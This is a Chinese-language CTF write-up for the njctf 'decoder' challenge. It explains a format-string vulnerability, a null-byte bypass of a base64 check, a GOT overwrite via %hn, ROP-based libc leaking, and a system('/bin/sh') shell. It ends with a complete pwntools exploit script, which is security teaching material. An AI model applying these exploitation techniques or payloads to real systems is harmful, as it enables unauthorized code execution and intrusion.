格式化字符串漏洞利用实战之 njctf-decoder

Author Avatar
hac425 12月 17, 2017
  • 在其它设备中阅读本文章

前言

格式化字符串漏洞也是一种比较常见的漏洞利用技术。ctf 中也经常出现。

本文以 njctf 线下赛的一道题为例进行实战。

题目链接:https://gitee.com/hac425/blog_data/blob/master/decoder

正文

程序的流程如下

paste image

部分函数已经进行了标注,看程序打印出来的提示信息就知道这个是一个 base64 解码的程序,然后可以通过 猜测 + 验证 的方式,找到那个 用于 base64 解码的函数。

这个程序的漏洞在于将 base64 解码后的字符串直接传入 snprintf, 作为 format 进行处理, 格式化漏洞。

paste image

通过格式化串可以 任意写/任意读 , 不过这里一次格式化之后就会往下一种走到程序末尾。所以这里我采用 修改 printf@got的值 为 rop gadgets,然后进行 rop.

还需要注意前面还有check ,不满足 base64 的格式规范的字符串是触发不了漏洞的。不过我们可以绕过这些 check

paste image

程序程序获取输入时使用的是 read 函数,然而后面的 base64_checkbase64_decode 用到的输入的长度都是使用 strlen 获取的。strlen 是通过搜索 \x00 来确定字符串的长度, 而通过 read 我们可以输入 \x00, 所以我们在正常 base64 后面加上 \x00 然后布置 rop chain 即可。
还有一个小技巧,触发漏洞时 , printf 函数还没有被调用,所以 got 表中保存的值还是没有经过 重绑定 的值。

paste image

为了绕过栈里面的 base64 字符串 ,我们需要一个 add espgadgets 可以使用 ROPgadget.

paste image

找到一个 0x08048b31, 和 printf@got 的值只有 2个字节的差距,所以使用 %hn 可以写两个字节,写的数据为 0x8b31,地址为 0x0804B010

1
%35633c%7$hn

然后后面调用 printf 时就会进入 rop chain, 首先通过 rop 调用 puts 打印 read@got 泄露 libc

paste image

然后再次触发漏洞,用刚刚 leak的数据,布置 rop 调用 system('/bin/sh')

paste image

最后

对于 strlen 如果我们可以输入 \x00,则它的返回值我们是可以控制的。

通过部分修改 got,执行 rop,要注意后面紧跟着调用的函数。

最后的 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./decoder")
gdb.attach(p, '''
b *0x08048C29
# b *0x08048C4E
b *0x08048b31
# b *0x8048c5f
c
''')
pause()
printf_got = 0x0804B010
read_got = 0x0804B00C
puts_plt = 0x08048520
main_addr = 0x08048B37
s = '%35633c%7$hn'
payload = base64.b64encode(s)
payload += "\x00" # pass check
payload += "A" * 3 # padding
payload += p32(printf_got) # addr to write
# payload += cyclic(40) # find ret eip offset
payload += cyclic(28) # padding for eip
payload += p32(puts_plt)
payload += p32(main_addr) # ret addr, ret to main, again
payload += p32(0x0804B00C) # addr to leak
p.sendline(payload)
p.recvuntil("THIS IS A SIMPLE BASE64 DECODER\n")
read_addr = u32(p.recv(4))
libc_addr = read_addr - 0xd5af0
system_addr = libc_addr + 0x3ada0
sh_addr = libc_addr + 1423787
log.info("system: " + hex(system_addr))
log.info("/bin/sh: " + hex(sh_addr))
s = '%35633c%7$hn'
payload = base64.b64encode(s)
payload += "\x00" # pass check
payload += "A" * 3 # padding
payload += p32(printf_got) # addr to write
# payload += cyclic(40) # find ret eip offset
payload += cyclic(28) # padding for eip
payload += p32(system_addr)
payload += p32(main_addr) # ret addr, ret to main, again
payload += p32(sh_addr) # addr to leak
p.sendline(payload)
p.interactive()

本站文章均原创, 转载注明来源
本文链接:http://blog.hac425.top/2017/12/17/pwn_with_format_decoder.html